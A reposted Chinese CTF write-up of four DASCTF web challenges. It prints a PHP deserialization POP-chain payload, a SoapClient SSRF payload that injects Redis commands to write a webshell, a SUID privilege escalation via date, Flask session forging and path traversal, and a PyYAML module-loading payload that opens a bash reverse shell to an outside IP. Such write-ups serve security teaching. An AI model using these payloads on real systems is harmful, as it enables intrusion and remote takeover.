我的编程空间,编程开发者的网络收藏夹
学习永远不晚

DASCTF10月 web

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

DASCTF10月 web

比赛忘记打了,回头看看题

ez_pop

highlight_file(__FILE__);error_reporting(0);class fine{    private $cmd;    private $content;    public function __construct($cmd, $content)    {        $this->cmd = $cmd;        $this->content = $content;    }    public function __invoke()    {        call_user_func($this->cmd, $this->content);    }    public function __wakeup()    {        $this->cmd = "";        die("Go listen to Jay Chou's secret-code! Really nice");    }}class show{    public $ctf;    public $time = "Two and a half years";    public function __construct($ctf)    {        $this->ctf = $ctf;    }    public function __toString()    {        return $this->ctf->show();    }    public function show(): string    {        return $this->ctf . ": Duration of practice: " . $this->time;    }}class sorry{    private $name;    private $password;    public $hint = "hint is depend on you";    public $key;    public function __construct($name, $password)    {        $this->name = $name;        $this->password = $password;    }    public function __sleep()    {        $this->hint = new secret_code();    }    public function __get($name)    {        $name = $this->key;        $name();    }    public function __destruct()    {        if ($this->password == $this->name) {            echo $this->hint;        } else if ($this->name = "jay") {            secret_code::secret();        } else {            echo "This is our code";        }    }    public function getPassword()    {        return $this->password;    }    public function setPassword($password): void    {        $this->password = $password;    }}class secret_code{    protected $code;    public static function secret()    {        include_once "hint.php";        hint();    }    public function __call($name, $arguments)    {        $num = $name;        $this->$num();    }    private function show()    {        return $this->code->secret;    }}if (isset($_GET['pop'])) {    $a = unserialize($_GET['pop']);    $a->setPassword(md5(mt_rand()));} else {    $a = new show("Ctfer");    echo $a->show();}

一个简单的链子

sorry::__destruct->show::__tostring->secret_code::show()->sorry::__get->fine::invoke

payload:

class fine{    public $cmd;    public $content;    public function __construct()#构造方法    {        $this->cmd = 'system';        $this->content = 'ls';    }}class show{    public $ctf;    public $time;}class sorry{    public $name;    public $password;    public $hint;    public $key;}class secret_code{    public $code;}$a = new sorry();$a->hint = new show();$a->hint->ctf = new secret_code();$a->hint->ctf->code = new sorry();$a->hint->ctf->code->key = new fine();$b = $a;echo serialize($b);

记得替换一下fine后面的元素个数,大于自身的个数就能绕过wakeup

EasyLove

题目提示redis
源代码:

 <?phphighlight_file(__FILE__);error_reporting(0);class swpu{    public $wllm;    public $arsenetang;    public $l61q4cheng;    public $love;        public function __construct($wllm,$arsenetang,$l61q4cheng,$love){        $this->wllm = $wllm;        $this->arsenetang = $arsenetang;        $this->l61q4cheng = $l61q4cheng;        $this->love = $love;    }    public function newnewnew(){        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);    }    public function flag(){        $this->love->getflag();    }        public function __destruct(){        $this->newnewnew();        $this->flag();    }}class hint{    public $hint;    public function __destruct(){        echo file_get_contents($this-> hint.'hint.php');    }}$hello = $_GET['hello'];$world = unserialize($hello);  

值得注意的是这个地方:

public function newnewnew(){  $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);  }

在这里的值都是我们可控的,而反序列化打redis一半都是配合ssrf这里也给我们提供了条件
可以使用内置类SoapClient
因为他的destruct函数里面调用所以会自动进入,我们只需要构造我们需要的值即可

class swpu{    public $wllm;    public $arsenetang;    public $l61q4cheng;    public $love;}$a = new swpu();$a->wllm = 'SoapClient';$a->arsenetang = null;$target = 'http://127.0.0.1:6379/';$poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing ''\r\nsave";$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");echo urlencode(serialize($a));

尝试写入一句话进shell.php
发现虽然页面在加载,也就是说我们的命令已经执行,但是访问shell.php发现并未写入,猜测应该是redis有认证,我们需要找到他的密码。
回到题目继续往下看发现源码里面含有一个hint.php
现在就是要尝试读取到hint.php里面的内容
也可以任意构造gopher协议,返回为空,这样他就会直接file_get_contents('hint.php');
查看发现给出提示

$hint = "My favorite database is Redis and My favorite day is 20220311";?>

猜测20220311是redis的认证密码
直接在flushall前面加上认证再写入一句话
$poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing ''\r\nsave";
写入即可
蚁剑连接上去发现在根目录下面有个start.sh
在这里插入图片描述
找到了flag的位置,直接cat发现没有权限,猜测需要提权
用ffind寻找suid
蚁剑不好找,而且他也没办法直接反弹,我们可以写一个sh文件然后bash执行就能反弹
find / -perm -u=s -type f 2>/dev/null
在这里插入图片描述发现date命令中-f可以查看文件,直接date -f /hereisflag/flllll111aaagg

hade_waibo

算是非预期的把:
在随意登陆进去之后,发现一个文件读取
然后任意文件读取之后会在图片里面返回出来
能任意文件阅读,题目提示flag在根目录下面的一个文件里面,而且在之前的题目里面看到在根目录下面存在start.sh
直接查看start.sh

#!/bin/shecho $FLAG > /ghjsdk_F149_H3re_asdasfcexport FLAG=no_flagFLAG=no_flagapache2-foregroundrm -rf /flag.shtail -f /dev/null

直接找到咯文件名、
直接进行文件读取
flag
预期解:待会写

BlogSystem

打开发现是一个博客网页,注册的时候发现admin已经被注册掉,而登陆之后带着的flaksession里面解码之后有我们的用户名信息,猜测我们需要变成admin
在博客下面发现在模板中隐藏的secret-key
利用这个secret-key解码发现成功,我们直接用它伪造session
···在这里插入图片描述
登陆进去之后发现原来注册之后的路由功能,多了一个download
尝试目录穿越,发现..以及//被替换成空了可以用.//./来构造目录穿越
下载到app.py源码

from flask import *import configapp = Flask(__name__)app.config.from_object(config)app.secret_key = '7his_1s_my_fav0rite_ke7'from model import *#导入的包1from view import *#导入的包2app.register_blueprint(index, name='index')app.register_blueprint(blog, name='blog')@app.context_processordef login_statue():    username = session.get('username')    if username:        try:            user = User.query.filter(User.username == username).first()            if user:                return {"username": username, 'name': user.name, 'password': user.password}        except Exception as e:            return e    return {}@app.errorhandler(404)def page_not_found(e):    return render_template('404.html'), 404@app.errorhandler(500)def internal_server_error(e):    return render_template('500.html'), 500if __name__ == '__main__':    app.run('0.0.0.0', 80)

发现该文件只是浅浅初始化了一下路由,我们着重可以看一下他导入的包
flask config view modleflask就不说了,上面的session伪造,
可以看出来这三个包就是最基本的MVC结构,或者说是MVT
可以浅浅看一下MVT的介绍Peter杰

MVT介绍
MVT 全拼为Model-View-Template
MVT 核心思想 : 解耦
MVT 解析
M (模型)全拼为Model, 与MVC中的M功能相同, 负责数据处理, 内嵌了ORM框架.
V (视图)全拼为View, 与MVC中的C功能相同, 接收HttpRequest, 业务处理,返回HttpResponse.
T (模板)全拼为Template, 与MVC中的V功能相同, 负责封装构造要返回的html, 内嵌了模板引擎.

想要更加深入了解,请移步百度

想要看看他导入的文件直接下载view.py发现没有文件,那么就是在view文件夹下面的内容了,直接下载vew/__init__.py

from .index import indexfrom .blog import blog

下载index.py以及blog.py

from flask import Blueprint, session, render_template, request, flash, redirect, url_for, Response, send_filefrom werkzeug.security import check_password_hashfrom decorators import login_limit, admin_limitfrom model import *import osindex = Blueprint("index", __name__)@index.route('/')def hello():    return render_template('index.html')@index.route('/register', methods=['POST', 'GET'])def register():    if request.method == 'GET':        return render_template('register.html')    if request.method == 'POST':        name = request.form.get('name')        username = request.form.get('username')        password = request.form.get('password')        user = User.query.filter(User.username == username).first()        if user is not None:            flash("该用户名已存在")            return render_template('register.html')        else:            user = User(username=username, name=name)            user.password_hash(password)            db.session.add(user)            db.session.commit()            flash("注册成功!")            return render_template('register.html')@index.route('/login', methods=['POST', 'GET'])def login():    if request.method == 'GET':        return render_template('login.html')    if request.method == 'POST':        username = request.form.get('username')        password = request.form.get('password')        user = User.query.filter(User.username == username).first()        if (user is not None) and (check_password_hash(user.password, password)):            session['username'] = user.username            session.permanent = True            return redirect(url_for('index.hello'))        else:            flash("账号或密码错误")            return render_template('login.html')@index.route("/updatePwd", methods=['POST', 'GET'])@login_limitdef update():    if request.method == "GET":        return render_template("updatePwd.html")    if request.method == 'POST':        lodPwd = request.form.get("lodPwd")        newPwd1 = request.form.get("newPwd1")        newPwd2 = request.form.get("newPwd2")        username = session.get("username")        user = User.query.filter(User.username == username).first()        if check_password_hash(user.password, lodPwd):            if newPwd1 != newPwd2:                flash("两次新密码不一致!")                return render_template("updatePwd.html")            else:                user.password_hash(newPwd2)                db.session.commit()                flash("修改成功!")                return render_template("updatePwd.html")        else:            flash("原密码错误!")            return render_template("updatePwd.html")@index.route('/download', methods=['GET'])@admin_limitdef download():    if request.args.get('path'):        path = request.args.get('path').replace('..', '').replace('//', '')        path = os.path.join('static/upload/', path)        if os.path.exists(path):            return send_file(path)        else:            return render_template('404.html', file=path)    return render_template('sayings.html',                           yaml='所谓『恶』,是那些只为了自己,利用和践踏弱者的家伙!但是,我虽然是这样,也知道什么是令人作呕的『恶』,所以,由我来制裁!')@index.route('/logout')def logout():    session.clear()    return redirect(url_for('index.hello'))

blog.py

import osimport randomimport reimport timeimport yamlfrom flask import Blueprint, render_template, request, sessionfrom yaml import Loaderfrom decorators import login_limit, admin_limitfrom model import *blog = Blueprint("blog", __name__, url_prefix="/blog")def waf(data):    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):        return False    else:        return True@blog.route('/writeBlog', methods=['POST', 'GET'])@login_limitdef writeblog():    if request.method == 'GET':        return render_template('writeBlog.html')    if request.method == 'POST':        title = request.form.get("title")        text = request.form.get("text")        username = session.get('username')        create_time = time.strftime("%Y-%m-%d %H:%M:%S")        user = User.query.filter(User.username == username).first()        blog = Blog(title=title, text=text, create_time=create_time, user_id=user.id)        db.session.add(blog)        db.session.commit()        blog = Blog.query.filter(Blog.create_time == create_time).first()        return render_template('blogSuccess.html', title=title, id=blog.id)@blog.route('/imgUpload', methods=['POST'])@login_limitdef imgUpload():    try:        file = request.files.get('editormd-image-file')        fileName = file.filename.replace('..','')        filePath = os.path.join("static/upload/", fileName)        file.save(filePath)        return {            'success': 1,            'message': '上传成功!',            'url': "/" + filePath        }    except Exception as e:        return {            'success': 0,            'message': '上传失败'        }@blog.route('/showBlog/')def showBlog(id):    blog = Blog.query.filter(Blog.id == id).first()    comment = Comment.query.filter(Comment.blog_id == blog.id)    return render_template("showBlog.html", blog=blog, comment=comment)@blog.route("/blogAll")def blogAll():    blogList = Blog.query.order_by(Blog.create_time.desc()).all()    return render_template('blogAll.html', blogList=blogList)@blog.route("/update/", methods=['POST', 'GET'])@login_limitdef update(id):    if request.method == 'GET':        blog = Blog.query.filter(Blog.id == id).first()        return render_template('updateBlog.html', blog=blog)    if request.method == 'POST':        id = request.form.get("id")        title = request.form.get("title")        text = request.form.get("text")        blog = Blog.query.filter(Blog.id == id).first()        blog.title = title        blog.text = text        db.session.commit()        return render_template('blogSuccess.html', title=title, id=id)@blog.route("/delete/")@login_limitdef delete(id):    blog = Blog.query.filter(Blog.id == id).first()    db.session.delete(blog)    db.session.commit()    return {        'state': True,        'msg': "删除成功!"    }@blog.route("/myBlog")@login_limitdef myBlog():    username = session.get('username')    user = User.query.filter(User.username == username).first()    blogList = Blog.query.filter(Blog.user_id == user.id).order_by(Blog.create_time.desc()).all()    return render_template("myBlog.html", blogList=blogList)@blog.route("/comment", methods=['POST'])@login_limitdef comment():    text = request.values.get('text')    blogId = request.values.get('blogId')    username = session.get('username')    create_time = time.strftime("%Y-%m-%d %H:%M:%S")    user = User.query.filter(User.username == username).first()    comment = Comment(text=text, create_time=create_time, blog_id=blogId, user_id=user.id)    db.session.add(comment)    db.session.commit()    return {        'success': True,        'message': '评论成功!',    }@blog.route('/myComment')@login_limitdef myComment():    username = session.get('username')    user = User.query.filter(User.username == username).first()    commentList = Comment.query.filter(Comment.user_id == user.id).order_by(Comment.create_time.desc()).all()    return render_template("myComment.html", commentList=commentList)@blog.route('/deleteCom/')def deleteCom(id):    com = Comment.query.filter(Comment.id == id).first()    db.session.delete(com)    db.session.commit()    return {        'state': True,        'msg': "删除成功!"    }@blog.route('/saying', methods=['GET'])@admin_limitdef Saying():    if request.args.get('path'):        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')        try:            with open(file, 'rb') as f:                f = f.read()                if waf(f):                    print(yaml.load(f, Loader=Loader))                    return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')                else:                    return render_template('sayings.html', yaml='鲁迅说:你说得不对')        except Exception as e:            return render_template('sayings.html', yaml='鲁迅说:'+str(e))    else:        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:            sayings = yaml.load(f, Loader=Loader)            saying = random.choice(sayings)            return render_template('sayings.html', yaml=saying)

主要应该先看这里

@blog.route('/imgUpload', methods=['POST'])@login_limitdef imgUpload():    try:        file = request.files.get('editormd-image-file')        fileName = file.filename.replace('..','')        filePath = os.path.join("static/upload/", fileName)        file.save(filePath)        return {            'success': 1,            'message': '上传成功!',            'url': "/" + filePath        }    except Exception as e:        return {            'success': 0,            'message': '上传失败'        }

这里对文件名进行了替换,防止了目录穿越
还有一个在前端没有的页面saying

@blog.route('/saying', methods=['GET'])@admin_limitdef Saying():    if request.args.get('path'):        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')        try:            with open(file, 'rb') as f:                f = f.read()                if waf(f):                    print(yaml.load(f, Loader=Loader))                    return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')                else:                    return render_template('sayings.html', yaml='鲁迅说:你说得不对')        except Exception as e:            return render_template('sayings.html', yaml='鲁迅说:'+str(e))    else:        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:            sayings = yaml.load(f, Loader=Loader)            saying = random.choice(sayings)            return render_template('sayings.html', yaml=saying)

如果我们get传入了path,它就会对我们传入的数据进行过滤,如果完成绕过了waf,那么他就会调用yaml的load方法来加载我们的文件
看一下waf

def waf(data):    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):        return False    else:        return True

这里对常用的命令执行参数进行了过滤,完全没办法绕过捏
前面调用到yaml.load也就是可以用到pyyaml反序列化
常用的反序列化标签

!!python/object
!!python/object/apply
!!python/object/new

(没学过)查看出题人的博客说,object没有合适的模块,不能执行,而第二个又被waf过滤了,那么就只剩第三个了
在源码中apply以及new他们最后进入的是同一个函数,所以payload可以通用

简而言之,就是可以写一个__init__.py文件,然后用saying里面的load加载,因为无法目录穿越,所以只能使用__init__.py将整个upload看作为一个软件包,然后就可以执行加载

这样我们就可以实现import static.upload的功能
然后我们直接在__init__.py里面写入反弹shell命令,在VPS上面接收就可以getshell
访问/blog/saying?path=static/upload/poc.yaml就可以反弹shell
直接cat /flag就行

import osos.system('bash -c "bash -i >& /dev/tcp/81.68.106.68/2333 0>&1"')
!!python/module:static.upload

来源地址:https://blog.csdn.net/your_friends/article/details/127547997

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

DASCTF10月 web

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

2023-09-09

web前端4个月学什么

Web前端是一个十分重要的领域,它涵盖了Web应用程序的构建和设计过程,包括用户界面设计、交互设计、前端开发以及后端开发。Web前端可以让用户直接与Web应用程序进行交互,并为Web应用程序提供优秀的用户体验,因此Web前端开发越来越受到关注。如果你想成为一个出色的Web前端开发人员,那么在前4个月里,你需要学习以下技术:1. HTMLHTML是Web前端开发的基础。它是用于创
2023-05-20

SQL 查询计数器每天、每月、每年和总计的 Web 访问量

让我们了解如何构建查询来查找 MySQL 中每天、每月、每年的网络访问次数以及总计:注意:我们假设我们已经创建了一个名为“DBNAME”的数据库和一个名为“tableName”的表。让我们看看可用于获取每天网络访问量的 MySQL 查询,月
2023-10-22

Web 1.0、Web 2.0 和 Web 3.0 之间的比较

💂 个人网站:【海拥】【摸鱼小游戏】【神级源码资源网站】🤟 风趣幽默的前端学习课程:👉28个案例趣学前端💅 想寻找共同学习交流、摸鱼划水的小伙伴,请点击【摸鱼学习交流群】&
2023-08-18

小白学Web之Web前端

编程学习网:小白的福利,Web前端的几大阶段学习及掌握。
小白学Web之Web前端
2024-04-23
2023-09-02

Python 搭建Web站点之Web服务器与Web框架

之前用 Django 做过一个小的站点,感觉Django太过笨重,于是就准备换一个比较轻量级的 Web 框架来玩玩。Web.py 作者已经挂掉,项目好久没有更新,所以不准备用它。而 Flask 也是一个成熟的轻量级 Web 框架,在 git
2022-06-04

web前端:web的应用模式

编程学习网:web的本意是蜘蛛网和网的意思,在网页设计中我们称为网页的意思。现广泛译作网络、互联网等技术领域。表现为三种形式,即超文本(hypertext)、超媒体(hypermedia)、超文本传输协议(HTTP)等。
web前端:web的应用模式
2024-04-23

Python web开发:6本web开发

Python作为一种灵活好学的脚本语言,已经越来越受程序员的欢迎和热捧,甚至成为程序员的必备技能。Python的Web开放框架如Django,Flask,更是得到了广大的应用,今天为大家推荐几本有关python web开发的书籍。1.《Dj
2023-01-31
2023-09-05

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录